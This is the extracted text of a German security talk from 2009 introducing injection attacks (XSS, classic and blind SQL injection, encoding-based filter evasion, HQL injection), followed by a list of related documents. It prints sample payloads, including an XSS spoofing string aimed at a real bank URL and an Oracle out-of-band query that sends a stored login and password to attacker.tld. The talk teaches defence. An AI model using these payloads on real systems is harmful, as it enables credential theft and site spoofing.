SecureNet GmbH For personal use only. Distribution not allowed.

Größe: px
Ab Seite anzeigen:

Download "SecureNet GmbH 2009. For personal use only. Distribution not allowed."

Transkript

1 1

2 Die Datenbank als Erfüllungsgehilfe für Datendiebe Eine Kurzeinführung in Injection-Angriffe Stream Security Ralf Reinhardt,

3 Eine Kurzeinführung in Injection-Angriffe Inhalte HTML-Injection Cross-Site Scripting (XSS) Einschub: Data Validation und Data Sanitation SQL-Injection ( klassisch ) Blind SQL-Injection Advanced SQL-Injection ORM-Injection (Hibernate) Ausblick 3

4 Eine Kurzeinführung in Injection-Angriffe Zielpublikum und Ziel des Vortrages Einsteiger in das Thema Web Application Security Was bitte ist Cross-Site Scripting oder SQL-Injection? Warum funktioniert das eigentlich und was läuft hier schief? Entwickler, Architekten, Verantwortliche, Entscheider Erkennen der Gefahren Verstehen der zugrunde liegenden Problematik Sehen der Lösungsmöglichkeiten Wissen um die richtigen Ansatz-Stellen 4

5 Eine Kurzeinführung in Injection-Angriffe Über Ralf Reinhardt Senior Consultant und Projekt Manager seit 2004 bei der SecureNet GmbH, Frankfurter Ring 193a in München Web Application Security, Penetration Testing, Source Code Analyse Beratung, Schulung, Prozesse, Maßnahmen, Guidelines und Policies Mitglied im Open Web Application Security Project (OWASP.org) und Diplom-Informatiker (FH) Bit Homecomputer Ernsthafte Softwareentwicklung 1994 WWW mit Mosaic, Linux 1995 Pentesting auf System- und Netzwerkebene 1996 HTML 1998 JavaScript 2000 Java, MySQL 2003 J2EE, Oracle DBA 5

6 HTML-Injection 6

7 HTML-Injection Willkommen zurück! 7

8 HTML-Injection Willkommen zurück! Source Code im Browser 8

9 HTML-Injection Willkommen zurück! Source Code auf dem Server 9

10 HTML-Injection Anmeldung 10

11 HTML-Injection Anmeldung Source Code 11

12 HTML-Injection Anmeldung Max Mustermann 12

13 HTML-Injection Willkommen zurück! Max Mustermann 13

14 HTML-Injection Willkommen zurück! Max Mustermann 14

15 HTML-Injection Anmeldung Max M<u>stermann 15

16 HTML-Injection Willkommen zurück! Max M<u>stermann 16

17 HTML-Injection Willkommen zurück! Max M<u>stermann 17

18 Cross-Site Scripting (XSS) 18

19 Cross-Site Scripting (XSS) Anmeldung - <script>alert( XSS );</script> 19

20 Cross-Site Scripting (XSS) Willkommen zurück! - <script>alert( XSS );</script> 20

21 Cross-Site Scripting (XSS) Willkommen zurück! - <script>alert( XSS );</script> 21

22 Cross-Site Scripting (XSS) Arten von Cross-Site Scripting Reflektiertes XSS Existiert nur lokal im Browser des Users Angriffs-Vektor: Link oder Persistentes XSS Wird in der Datenbank / dem Repository persistiert Existiert so lange wie die manipulierten Daten in der DB existieren Angriff-Vektor: Manipulierter Gästebuch-Eintrag 22

23 Cross-Site Scripting (XSS) Mögliche Konsequenzen Spoofing Website-Spoofing Frame-Spoofing Link-Spoofing Phishing Reflektiert oder persistent Durchführbar auch mit gültigem Schloss-Symbol (SSL/TLS) Defacement, DoS, usw. Entstellung der Website Denial of Service U. v. a. m. 23

24 Cross-Site Scripting (XSS) Website Spoofing und SSL institucional.bradesco.com.br institucional.bradesco.com.br https://institucional.bradesco.com.br/abertura_conta/pessoa_fisica/principal.asp?cep1=%22%3 E<div style="position:absolute;top:0px;width:2000;left:0px;height:2000;backgroundcolor:white"> <iframe src=https://www.securenet.de/was/link.html width=1000 height=800 style=margin-top:0px; margin-left:0px name=tst frameborder=0> </div> 24

25 Einschub: Data Validation und Data Sanitation 25

26 Data Validation und Data Sanitation Kommunkationswege der Daten Client (meist Browser) Application Server Datenbank 26

27 Data Validation und Data Sanitation Kommunkationswege der Daten, Output zu Input vice versa Client (meist Browser) Output / Input Input / Output Application Server Datenbank Output / Input Input / Output 27

28 Data Validation und Data Sanitation Kommunkationswege der Daten, Boundary Filtering Client (meist Browser) B o u n d a r y Output / Input Input / Output Application Server B o u n d a r y Datenbank B o u n d a r y Output / Input Input / Output Output / Input Input / Output Drittsystem 28

29 Data Validation und Data Sanitation All Input is Evil! Input (ggf. Output) Validation Validatoren überprüfen den korrekten Typ einer Variablen, also z.b.: PLZ» 5 stelliger, positiver Integer kleiner als , ggf. mit führenden Nullen adresse Telefonnummer Datum 29

30 Data Validation und Data Sanitation All Input is Evil! Input (ggf. Output) Sanitation Escaping oder Filterung von Meta-Zeichen: HTML-Escaping JavaScript-Escaping SQL-Escaping XPath, LDAP, Betriebsystem-Pfade, usw. Beispiele <, >,,,, ',.,.., :, /, \, &,(, ), [, ], {, }, %, *,?, _, ; +, -, $,!, \n, \r, \t, eof, ESC, U. v. a. m. 30

31 Data Validation und Data Sanitation All Input is Evil! Input (ggf. Output) Sanitation Filterung oder Veränderung von Schlüsselworten (Blacklisting vs. Whitelisting) HTML / JavaScript: alert, script, img, src, onload, onmouseover SQL: select, union, update, delete, insert, drop, create... U. v. a. m. 31

32 Data Validation und Data Sanitation Anmeldung Max M<u>stermann 32

33 Data Validation und Data Sanitation Willkommen zurück! Max M<u>stermann 33

34 Data Validation und Data Sanitation Willkommen zurück! Max M<u>stermann 34

35 Data Validation und Data Sanitation Anmeldung - <script>alert( XSS );</script> 35

36 Data Validation und Data Sanitation Willkommen zurück! - <script>alert( XSS );</script> 36

37 Data Validation und Data Sanitation Willkommen zurück! - <script>alert( XSS );</script> 37

38 Data Validation und Data Sanitation Exploit of a Mom, 38

39 SQL-Injection ( klassisch ) 39

40 SQL-Injection ( klassisch ) Ein Fallbeispiel (1) plz=' 40

41 SQL-Injection ( klassisch ) Ein Fallbeispiel (2) plz=münchen') UNION SELECT ort,ort,plz,ort,ort,ort FROM gaa WHERE ort LIKE 'München' 41

42 SQL-Injection ( klassisch ) Ein Fallbeispiel (3) plz=münchen') UNION SELECT Object_Name, Object_Name, Object_ID, Object_Name, Object_Name, Object_Name FROM USER_TABLES 42

43 SQL-Injection ( klassisch ) Ein Fallbeispiel (4) BANNER_LISTE BANNER_PAGE BANNER_PICS BANNER_VIEW NEWS DYN_KEY FMONATS FMONATS_DYN FMONATS_KEY FMONAT_PICS FONDS_TOP10 GAA PK_DN_ID SEQ_DN_ID SEQ_GAA_ID SQ_BANNERLISTE SQ_FMONATS SQ_PICID SYS_LOB C00003$$ SYS_LOB C00003$$ UQ_FMONAT_PICS UQ_ZINSKEY ZINSEN ZINSEN2 43

44 SQL-Injection ( klassisch ) Eine reguläre Abfrage an die Datenbank Gegeben sei die Tabelle BENUTZER mit den Spalten ANZEIGENAME FIRMA ORT LOGIN PASSWORT 44

45 SQL-Injection ( klassisch ) Konkatenierte Query im Application Server (Schlecht!) 45

46 SQL-Injection ( klassisch ) Eine reguläre Eingabemaske im Browser 46

47 SQL-Injection ( klassisch ) In Java konkatenierte Query (Schlecht!), Ergebnis 47

48 SQL-Injection ( klassisch ) Input durch den Browser 48

49 SQL-Injection ( klassisch ) Schadhafte Nutzlast 1 49

50 SQL-Injection ( klassisch ) Schadhafte Nutzlast 1, Ergebnis 50

51 SQL-Injection ( klassisch ) Schadhafte Nutzlast 2 51

52 SQL-Injection ( klassisch ) Schadhafte Nutzlast 2, Ergebnis 52

53 Blind SQL-Injection 53

54 Blind SQL-Injection Not at all Blind SQL-Injection: SQL-Injection klassisch 54

55 Blind SQL-Injection Totally Blind SQL-Injection 55

56 Blind SQL-Injection Abgrenzung Ausgangslage Das System liefert keine für den Angreifer brauchbaren Fehlermeldungen, mit denen dieser direkt auf die syntaktische Korrektheit seines Angriffsmuster schließen kann Blind SQL-Injection Leicht unterschiedliche, allgemeine Fehlermeldungen Unterschiedliches Verhalten der Anwendung, Seiteneffekte Totally Blind SQL-Injection Die Antwort des Servers ist immer identisch Es kommt gar keine Antwort 56

57 Blind SQL-Injection Testen auf Blind SQL-Injection, Boole sche Muster 57

58 Blind SQL-Injection Testen auf Blind SQL-Injection, Boole sche Muster 58

59 Blind SQL-Injection Testen auf Blind SQL-Injection, Boole sche Muster 59

60 Blind SQL-Injection Testen auf Blind SQL-Injection, Boole sche Muster 60

61 Blind SQL-Injection Erzwingen von Feedback Erzwingen von Fehlern, z.b. ORA Division by zero Auswerten von Laufzeitunterschieden SELECT COUNT(*) FROM dual; (schnell) SELECT COUNT(*) FROM all_objects; (weniger schnell) Nutzung von Seitenkanälen, Out-of-Band Signalisierung utl_http.request() httpuritype 61

62 Blind SQL-Injection Auswerten von Laufzeitunterschieden Prüfung: If Then Else SELECT COUNT(*) FROM dual; (schnell) SELECT COUNT(*) FROM all_objects; (weniger schnell) 62

63 Blind SQL-Injection Out-of-Band Signalisierung Die Oracle Datenbank verschickt einen HTTP-Request an den Angreifer Angreifer hat lesenden Zugriff auf das Webserver-Logfile von box.attacker.tld Angreifer hat lesenden Zugriff auf das DNServer-Logfile von attacker.tld 63

64 Blind SQL-Injection Out-of-Band Signalisierung Mit der Oracle Datenbank nach Hause telefonieren Ziel: Webserver-Logfile box.attacker.tld Ziel: DNServer-Logsfile attacker.tld 64

65 Blind SQL-Injection Out-of-Band Signalisierung, Eingabe der schadhaften Nutzlast 65

66 Blind SQL-Injection Out-of-Band Signalisierung, Schadhafte Nutzlast NN' UNION SELECT httpuritype('http://box.attacker.tld/login:' (SELECT login FROM benutzer WHERE ID = 1) ' Password:' (SELECT passwort FROM benutzer WHERE ID = 1)).getContentType(),NULL, NULL FROM dual -- 66

67 Blind SQL-Injection Out-of-Band Signalisierung, zusammengesetzte Query 67

68 Blind SQL-Injection Out-of-Band Signalisierung, Ergebnis Im Logfiles des Web-Servers landen: Benutzername Passwort Bei einem Direktgespräch ggf. die IP-Adresse der Datenbank 68

69 Advanced SQL-Injection 69

70 Advanced SQL-Injection Abgrenzung Advanced SQL-Injection Ist nicht eindeutig zu definiert Immer dann, wenn es ein wenig anspruchsvoller wird Beispiele Shell-Injection Aufruf von Betriebssystem-Kommandos U. v. a. m Im Rahmen dieses Vortrages Umgehung des Boundary-Filterings Bedingt durch fehlerhafte Validatoren und/oder mangelnde Sanitation und/oder fehlerhaft konfigurierte Web Application Firewall (WAF) 70

71 Advanced SQL-Injection Vielgestaltigkeit von SQL-Statements SELECT 'Test!', COUNT(*) FROM dual; 71

72 Advanced SQL-Injection Übergabe einer Variablen an den Server 72

73 Advanced SQL-Injection Blick in den Source Code eines Formulars 73

74 Advanced SQL-Injection Request mit encodiertem Parameter somevalue (URL 1) somevalue=nn%27+union+select+%27test!%2 7%2C+COUNT(*)+FROM+dual-- 74

75 Advanced SQL-Injection Request mit encodiertem Parameter somevalue (URL 2) somevalue=nn'%20union%20select%20concat (/*%20%20egal%09*/coNCat(%09%09'T'%09,% 20%20chr%20%20(%20%20AsciI%20(%20'e'%20 )%20)%20),concAT(cHR(10%20*% )/**/,chr(116))%20)%20%20%20%20%20%20 %7C%7Cchr(LEAST(33,101,1235,8272)),COUN T(chr(42))%20FROM%20dual%

76 Advanced SQL-Injection Request mit encodiertem Parameter somevalue (Hex) somevalue=%4e%4e%27%20%55%4e%49%4f%4e%2 0%53%45%4C%45%43%54%20%27%54%65%73%74%2 1%27%2C%20%43%4F%55%4E%54%28%2A%29%20%4 6%52%4F%4D%20%64%75%61%6C%2D%2D 76

77 Advanced SQL-Injection Request mit encodiertem Parameter somevalue (Unicode) somevalue=%u004e%u004e%u0027%u0020%u005 5%u004E%u0049%u004F%u004E%u0020%u0053%u 0045%u004C%u0045%u0043%u0054%u0020%u002 7%u0054%u0065%u0073%u0074%u0021%u0027%u 002C%u0020%u0043%u004F%u0055%u004E%u005 4%u0028%u002A%u0029%u0020%u0046%u0052%u 004F%u004D%u0020%u0064%u0075%u0061%u006 C%u002D%u002D 77

78 ORM-Injection (Hibernate) 78

79 ORM-Injection (Hibernate) Object-Relational Mapping, über Hibernate Bekannter O/R-Mapper für Java, Abfrage-Möglichkeiten: Natives SQL Hibernate Query Language (HQL) Criteria Hibernate Query Language (HQL) Die Syntax ist an SQL angelehnt Der Funktionsumfang entspricht nur einer Teilmenge von SQL Es werden nicht Tabellen und Spalten referenziert, sondern Objekte und deren Attribute Der UNION-Operator wird nicht unterstützt 79

80 ORM-Injection (Hibernate) Ein Beispiel aus der Praxis Gegeben sei die Tabelle BENUTZER mit den Spalten LOGIN (der Login-Name, z.b. admin ) PASSWORT (das zugehörige Passwort, z.b. nim23da ) Gegeben sei die Klasse User.java mit den Attributen userloginname (der Login-Name, z.b. admin ) userpasswort (das zugehörige Passwort, z.b. nim23da ) Gegeben sei das Mapping LOGIN userloginname PASSWORT userpasswort 80

81 ORM-Injection (Hibernate) Ein Beispiel aus der Praxis Es existiert eine Funktion, die es dem Benutzer ermöglicht, seinen Login-Namen zu ändern Vor dem eigentlichen Update schaut die Anwendung nach, ob es einen Benutzer mit diesem Login-Namen bereits gibt Gibt es den gewünschten Login-Namen bereits, so wird die Aktion abgebrochen und der Benutzer erhält die Fehlermeldung Loginname existiert bereits! 81

82 ORM-Injection (Hibernate) Die Suche nach existierenden Login-Namen Feststellungen: Die Anfrage ist in HQL geschrieben und entspricht etwa einem effizienten select count(*) from... suserloginname ist der Input kommend vom Browsers des Users Das Objekt u ist eine Instanz der Klasse User Ist lcount größer als Null, so ist der Loginname bereits vergeben (und die Fehlermeldung Loginname existiert bereits! erscheint) Durch die Konkatenation existiert eine Injection-Schwachstelle 82

83 ORM-Injection (Hibernate) Enumeration von Benutzern Loginname existiert bereits! 83

84 ORM-Injection (Hibernate) Ein kurzer Test mit UNION Loginname existiert bereits! 84

85 ORM-Injection (Hibernate) Passwort-Enumeration (1) 85

86 ORM-Injection (Hibernate) Passwort-Enumeration (1), HQL-Statement SELECT COUNT(u) FROM User u WHERE u.userloginname = admin' and u.userpassword like '%' union 86

87 ORM-Injection (Hibernate) Passwort-Enumeration (1) Loginname existiert bereits! 87

88 ORM-Injection (Hibernate) Passwort-Enumeration (2) Loginname existiert bereits! 88

89 ORM-Injection (Hibernate) Passwort-Enumeration (3) Loginname existiert bereits! 89

90 ORM-Injection (Hibernate) Passwort-Enumeration (4) Loginname existiert bereits! 90

91 Generelle Injection-Problematik Quintessenz Keine zusammengesetzte Queries! Keine Dynamik! Umgehung des SQL-Interpreters, z.b. durch ausschließliche Verwendung gebundener Parameter in Prepared Statements (keine Stored Procedures!) Korrekt verwendete O/R-Mapper Wirksames Boundary Filtering! All Input is Evil! Input / Output Validation Input / Output Sanitation Dies betrifft nicht nur SQL! LDAP-Injection XPath-Injection U. v. a. m. 91

92 Ausblick 92

93 Ausblick Rückblick Boundary Filtering Client (meist Browser) B o u n d a r y Output / Input Input / Output Application Server B o u n d a r y Datenbank B o u n d a r y Output / Input Input / Output Output / Input Input / Output Drittsystem 93

94 Ausblick Maßnahmen bei Systemen in Wartung Vulnerability-Assessment ( Max M<u>stermann ) Web Application Security Penetration Test Code Review (und Fixing!) Source Code Analyse (und Fixing!) Awareness-Maßnahmen, Schulungen, Workshops Secure Coding Guidelines / Policies Secure Software Development Lifecycle / Prozesse 94

95 Ausblick Maßnamen bei Legacy-Systemen: Web Application Firewalls Client (meist Browser) B o u n d a r y Output / Input Input / Output WAF Application Server B o u n d a r y Datenbank B o u n d a r y Output / Input Input / Output Output / Input Input / Output Drittsystem WAF WAF 95

96 Vielen Dank! Fragen? Anregungen? SecureNet GmbH Frankfurter Ring 193a D München +49 (0)89 / Ralf Reinhardt Web Application Security Penetration Testing, Source Code Analyse, Maßnahmen-Beratung Softwareentwicklung Entwicklung sicherer Webanwendungen 96

97 97

Hacker-Tool Browser von der Webanwendung zu den Kronjuwelen

Hacker-Tool Browser von der Webanwendung zu den Kronjuwelen Hacker-Tool Browser von der Webanwendung zu den Kronjuwelen Ralf Reinhardt 28.11.2013, 16:40 Uhr Roadshow Sicheres Internet aiti-park Werner-von-Siemens-Str. 6 86159 Augsburg 1 Hacker-Tool Browser Über

Mehr

Absicherung von Web-Anwendungen in der Praxis Highlights aus den OWASP TOP 10

Absicherung von Web-Anwendungen in der Praxis Highlights aus den OWASP TOP 10 The OWASP Foundation http://www.owasp.org Absicherung von Web-Anwendungen in der Praxis Highlights aus den OWASP TOP 10 Tobias Glemser tobias.glemser@owasp.org tglemser@tele-consulting.com Ralf Reinhardt

Mehr

DIE DATENBANK ALS ERFÜLLUNGSGEHILFE FÜR DATENDIEBE

DIE DATENBANK ALS ERFÜLLUNGSGEHILFE FÜR DATENDIEBE Whitepaper DIE DATENBANK ALS ERFÜLLUNGSGEHILFE FÜR DATENDIEBE Eine Kurzeinführung in Injection Angriffe Ralf Reinhardt, SecureNet GmbH, Nov 2009 S CHLÜSSELWORTE Injection, SQL-Injection, SQLI, Blind SQL-Injection,

Mehr

Schwachstellen in Web- Applikationen: Was steckt dahinter und wie nutzt man sie aus?

Schwachstellen in Web- Applikationen: Was steckt dahinter und wie nutzt man sie aus? Schwachstellen in Web- Applikationen: Was steckt dahinter und wie nutzt man sie aus? Prof. Dr. Marc Rennhard Institut für angewandte Informationstechnologie InIT ZHAW Zürcher Hochschule für Angewandte

Mehr

BSI IT-Grundschutztag, 13.06.2013, Regensburg 2013 by sic[!]sec GmbH in Groebenzell, Germany. - For personal use only. - http://www.sicsec.

BSI IT-Grundschutztag, 13.06.2013, Regensburg 2013 by sic[!]sec GmbH in Groebenzell, Germany. - For personal use only. - http://www.sicsec. 1 BSI Grundschutzbaustein Webanwendungen Absicherung von Webanwendungen in der Praxis - Highlights aus den OWASP Top 10 Ralf Reinhardt 13.06.2013, 13:30 Uhr BSI IT-Grundschutztag Tagungs- und Besucherzentrum

Mehr

Sicherheit in Webanwendungen CrossSite, Session und SQL

Sicherheit in Webanwendungen CrossSite, Session und SQL Sicherheit in Webanwendungen CrossSite, Session und SQL Angriffstechniken und Abwehrmaßnahmen Mario Klump Die Cross-Site -Familie Die Cross-Site-Arten Cross-Site-Scripting (CSS/XSS) Cross-Site-Request-Forgery

Mehr

SQL-Injection. Seite 1 / 16

SQL-Injection. Seite 1 / 16 SQL-Injection Seite 1 / 16 Allgemein: SQL (Structured Query Language) Datenbanksprache zur Definition von Datenstrukturen in Datenbanken Bearbeiten und Abfragen von Datensätzen Definition: SQL-Injection

Mehr

Einführung in Web-Security

Einführung in Web-Security Einführung in Web-Security Alexander»alech«Klink Gulaschprogrammiernacht 2013 Agenda Cross-Site-Scripting (XSS) Authentifizierung und Sessions Cross-Site-Request-Forgery ([XC]SRF) SQL-Injections Autorisierungsprobleme

Mehr

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen FAEL-Seminar Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Prof. Dr. Marc Rennhard Institut für angewandte Informationstechnologie InIT ZHAW Zürcher Hochschule für Angewandte

Mehr

Sicherheit von Webapplikationen Sichere Web-Anwendungen

Sicherheit von Webapplikationen Sichere Web-Anwendungen Sicherheit von Webapplikationen Sichere Web-Anwendungen Daniel Szameitat Agenda 2 Web Technologien l HTTP(Hypertext Transfer Protocol): zustandsloses Protokoll über TCP auf Port 80 HTTPS Verschlüsselt

Mehr

SQL Injection Funktionsweise und Gegenmaßnahmen

SQL Injection Funktionsweise und Gegenmaßnahmen SQL Injection Funktionsweise und Gegenmaßnahmen EUROSEC GmbH Chiffriertechnik & Sicherheit Tel: 06173 / 60850, www.eurosec.com EUROSEC GmbH Chiffriertechnik & Sicherheit, 2005 Problematik SQL-Injection

Mehr

Aktuelle Angriffstechniken. Steffen Tröscher cirosec GmbH, Heilbronn

Aktuelle Angriffstechniken. Steffen Tröscher cirosec GmbH, Heilbronn Aktuelle Angriffstechniken Steffen Tröscher cirosec GmbH, Heilbronn Gliederung Angriffe auf Webanwendungen Theorie und Live Demonstrationen Schwachstellen Command Injection über File Inclusion Logische

Mehr

Aktuelle Sicherheitsprobleme im Internet

Aktuelle Sicherheitsprobleme im Internet Herbst 2014 Aktuelle Sicherheitsprobleme im Internet Wirtschaftsinformatik: 5. Semester Dozenten: Rainer Telesko / Martin Hüsler Fachhochschule Nordwestschweiz FHNW / Rainer Telesko - Martin Hüsler 1 Inhalt

Mehr

Aktuelle Bedrohungen im Internet

Aktuelle Bedrohungen im Internet Aktuelle Bedrohungen im Internet Max Klaus, MELANI Bedrohungen von Webanwendungen Reto Inversini, BIT Botnetze webreaders.de/wp-content/uploads/2008/01/botnetz.jpg ISB / NDB Melde- und Analysestelle Informationssicherung

Mehr

OWASP Stammtisch München Sep 2014 XSS und andere Sicherheitslücken aus der Perspektive des Programmcodes

OWASP Stammtisch München Sep 2014 XSS und andere Sicherheitslücken aus der Perspektive des Programmcodes OWASP Stammtisch München Sep 2014 XSS und andere Sicherheitslücken aus der Perspektive des Programmcodes 1 XSS: Cross-Site Scripting 1.) Es gelangen Daten in den Web-Browser, die Steuerungsinformationen

Mehr

Konzept eines Datenbankprototypen. 30.06.2003 Folie 1 Daniel Gander / Gerhard Schrotter

Konzept eines Datenbankprototypen. 30.06.2003 Folie 1 Daniel Gander / Gerhard Schrotter Konzept eines Datenbankprototypen 30.06.2003 Folie 1 Daniel Gander / Gerhard Schrotter Inhalt (1) Projektvorstellung & Projektzeitplan Softwarekomponenten Detailierte Beschreibung der System Bausteine

Mehr

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Dr. Marc Rennhard Institut für angewandte Informationstechnologie Zürcher Hochschule Winterthur marc.rennhard@zhwin.ch Angriffspunkt

Mehr

itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 2013 OneConsult GmbH www.oneconsult.com

itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 2013 OneConsult GmbH www.oneconsult.com itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 13.03.2013 Agenda Vorstellung Open Web Application Security Project (OWASP) Die OWASP Top 10 (2013 RC1) OWASP Top 3 in der

Mehr

Hacking. InfoPoint 07.12.2005. Jörg Wüthrich

Hacking. InfoPoint 07.12.2005. Jörg Wüthrich Hacking InfoPoint 07.12.2005 Jörg Wüthrich Inhalte Rund um das Thema Hacking Angriffs-Techniken Session Handling Cross Site Scripting (XSS) SQL-Injection Buffer Overflow 07.12.2005 Infopoint - Hacking

Mehr

Informationstechnik & System-Management SQL INJECTION. Selbstgemachte Sicherheitslücken. SQL-Injection ITSB2006 Michael Donabaum

Informationstechnik & System-Management SQL INJECTION. Selbstgemachte Sicherheitslücken. SQL-Injection ITSB2006 Michael Donabaum SQL INJECTION Selbstgemachte Sicherheitslücken Beschreibung SQL-Injection SQL-Einschleusung Ausnutzen von Sicherheitslücken in Zusammenspiel mit SQL-Datenbanken Mangelnde Maskierung von Metazeichen \ ;

Mehr

Angreifbarkeit von Webapplikationen

Angreifbarkeit von Webapplikationen Vortrag über die Risiken und möglichen Sicherheitslücken bei der Entwicklung datenbankgestützter, dynamischer Webseiten Gliederung: Einführung technische Grundlagen Strafbarkeit im Sinne des StGB populäre

Mehr

Welche Gefahren gehen vom Firmenauftritt im Internet aus?

Welche Gefahren gehen vom Firmenauftritt im Internet aus? Die Webseite als Eintrittspunkt Welche Gefahren gehen vom Firmenauftritt im Internet aus? Bekannt gewordene Schwachstellen & Angriffe Bekannt gewordene Schwachstellen & Angriffe Quelle: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/

Mehr

Web-Sicherheit: Kein fauler Zauber?! Kai Jendrian.

Web-Sicherheit: Kein fauler Zauber?! Kai Jendrian. <Seminartitel> <Seminartitel> Web-Sicherheit: Kein fauler Zauber?! Security Consulting GmbH, Karlsruhe Seite 1 Security Consulting GmbH, Karlsruhe Seite 2 Security Consulting GmbH, Karlsruhe Seite 3 Security

Mehr

Thema: SQL-Injection (SQL-Einschleusung):

Thema: SQL-Injection (SQL-Einschleusung): Thema: SQL-Injection (SQL-Einschleusung): Allgemein: SQL (Structured Query Language) ist eine Datenbanksprache zur Definition von Datenstrukturen in Datenbanken sowie zum Bearbeiten (Einfügen, Verändern,

Mehr

Web Applications Vulnerabilities

Web Applications Vulnerabilities Bull AG Wien Web Applications Vulnerabilities Philipp Schaumann Dipl. Physiker Bull AG, Wien www.bull.at/security Die Problematik Folie 2 Der Webserver ist das Tor zum Internet auch ein Firewall schützt

Mehr

14.05.2013. losgeht s

14.05.2013. losgeht s losgeht s 1 Agenda erläutern 2 Warum jetzt zuhören? 3 BSI-Quartalsbericht 4/2010 Die gefährlichsten Schwachstellen in Webauftritten Häufig wurden SQL-Injection(Weiterleitung von SQL-Befehlen an die Datenbank

Mehr

SQL-Injection in the news Stand: 17.06.2006 24:00

SQL-Injection in the news Stand: 17.06.2006 24:00 Vernetzte Unternehmen I SQL-Injection Prof. Dr. H. Strack, Dipl.-Inf.(FH) Ch. Karich SQL-Injection in the news Stand: 17.06.2006 24:00 Heise-Newsticker: 02.06.06: SQL-Injection-Lücke in MySQL gestopft

Mehr

Secure Programming vs. Secure Development

Secure Programming vs. Secure Development Secure Programming vs. Secure Development Niklaus Schild Senior Consultant Niklaus.schild@trivadis.com Zürich, 10.Juni 2010 Basel Baden Bern Lausanne Zürich Düsseldorf Frankfurt/M. Freiburg i. Br. Hamburg

Mehr

php Hier soll ein Überblick über das Erstellen von php Programmen gegeben werden. Inhaltsverzeichnis 1.Überblick...2 2.Parameterübergabe...

php Hier soll ein Überblick über das Erstellen von php Programmen gegeben werden. Inhaltsverzeichnis 1.Überblick...2 2.Parameterübergabe... php Hier soll ein Überblick über das Erstellen von php Programmen gegeben werden. Inhaltsverzeichnis 1.Überblick...2 2.Parameterübergabe...7 3.Zugriff auf mysql Daten...11 Verteilte Systeme: php.sxw Prof.

Mehr

Prozedurale Datenbank- Anwendungsprogrammierung

Prozedurale Datenbank- Anwendungsprogrammierung Idee: Erweiterung von SQL um Komponenten von prozeduralen Sprachen (Sequenz, bedingte Ausführung, Schleife) Bezeichnung: Prozedurale SQL-Erweiterung. In Oracle: PL/SQL, in Microsoft SQL Server: T-SQL.

Mehr

Advanced Web Hacking. Matthias Luft Security Research mluft@ernw.de

Advanced Web Hacking. Matthias Luft Security Research mluft@ernw.de Advanced Web Hacking Matthias Luft Security Research mluft@ernw.de ERNW GmbH. Breslauer Str. 28. D-69124 Heidelberg. www.ernw.de 6/23/2010 1 ERNW GmbH Sicherheitsdienstleister im Beratungs- und Prüfungsumfeld

Mehr

Magento Application Security. Anna Völkl / @rescueann

Magento Application Security. Anna Völkl / @rescueann Magento Application Security Anna Völkl / @rescueann Anna Völkl @rescueann Magento Certified Developer PHP seit 2004 Magento seit 2011 IT & Telekommunikation (BSc), IT-Security (MSc) LimeSoda (Wien, AT)

Mehr

XSS for fun and profit

XSS for fun and profit 5. Chemnitzer Linux-Tag 1.-2.- März 2003 XSS for fun and profit Theorie und Praxis von Cross Site Scripting (XSS) Sicherheitslücken, Diebstahl von Cookies, Ausführen von Scripten auf fremden Webservern,

Mehr

Grundlagen der Informatik 2

Grundlagen der Informatik 2 Grundlagen der Informatik 2 Dipl.-Inf., Dipl.-Ing. (FH) Michael Wilhelm Hochschule Harz FB Automatisierung und Informatik mwilhelm@hs-harz.de Raum 2.202 Tel. 03943 / 659 338 1 Gliederung 1. Einführung

Mehr

ZSDGMDZFGW... Zehn Sicherheitsprobleme, die gerne mit dem ZendFramework gebaut werden. Ben Fuhrmannek #phpug-köln 2.10.2009

ZSDGMDZFGW... Zehn Sicherheitsprobleme, die gerne mit dem ZendFramework gebaut werden. Ben Fuhrmannek #phpug-köln 2.10.2009 ZSDGMDZFGW Zehn Sicherheitsprobleme, die gerne mit dem ZendFramework gebaut werden Ben Fuhrmannek #phpug-köln 2.10.2009 Über mich Informatiker Entwickler IT Security 2 TOC Aufbau ZF Problem 1 bis 10 3

Mehr

Datenbanken. Ein DBS besteht aus zwei Teilen:

Datenbanken. Ein DBS besteht aus zwei Teilen: Datenbanken Wikipedia gibt unter http://de.wikipedia.org/wiki/datenbank einen kompakten Einblick in die Welt der Datenbanken, Datenbanksysteme, Datenbankmanagementsysteme & Co: Ein Datenbanksystem (DBS)

Mehr

PHP und MySQL. Integration von MySQL in PHP. Zellescher Weg 12 Willers-Bau A109 Tel. +49 351-463 - 32424. Michael Kluge (michael.kluge@tu-dresden.

PHP und MySQL. Integration von MySQL in PHP. Zellescher Weg 12 Willers-Bau A109 Tel. +49 351-463 - 32424. Michael Kluge (michael.kluge@tu-dresden. Zentrum für Informationsdienste und Hochleistungsrechnen (ZIH) PHP und MySQL Integration von MySQL in PHP Zellescher Weg 12 Willers-Bau A109 Tel. +49 351-463 - 32424 (michael.kluge@tu-dresden.de) MySQL

Mehr

Datenbanken für Online Untersuchungen

Datenbanken für Online Untersuchungen Datenbanken für Online Untersuchungen Im vorliegenden Text wird die Verwendung einer MySQL Datenbank für Online Untersuchungen beschrieben. Es wird davon ausgegangen, dass die Untersuchung aus mehreren

Mehr

Web 2.0 (In) Security PHPUG Würzburg 29.06.2006 Björn Schotte

Web 2.0 (In) Security PHPUG Würzburg 29.06.2006 Björn Schotte Web 2.0 (In) Security PHPUG Würzburg 29.06.2006 Björn Schotte Web 2.0 (In)Security - Themen Alte Freunde SQL Injections, Code Executions & Co. Cross Site Scripting Cross Site Scripting in der Praxis JavaScript

Mehr

Transaktionen in der Praxis. Dr. Karsten Tolle

Transaktionen in der Praxis. Dr. Karsten Tolle Transaktionen in der Praxis Dr. Karsten Tolle Praxisbeispiel in Java Connection con = null; try { con = DriverManager.getConnection("jdbc:db2:sample"); } catch (Exception e) { e.printstacktrace(); } con.setautocommit(false);

Mehr

